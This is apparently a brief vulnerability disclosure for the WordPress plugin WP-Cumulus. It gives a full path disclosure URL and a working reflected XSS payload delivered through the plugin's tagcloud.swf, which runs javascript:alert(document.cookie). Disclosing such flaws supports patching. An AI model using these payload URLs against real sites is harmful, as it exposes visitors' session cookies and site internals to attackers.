Full path disclosure:

http://site/wp-content/plugins/wp-cumulus/wp-cumulus.php

XSS:

http://site/wp-content/plugins/wp-cumulus/tagcloud.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='javascript:alert(document.cookie)'+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E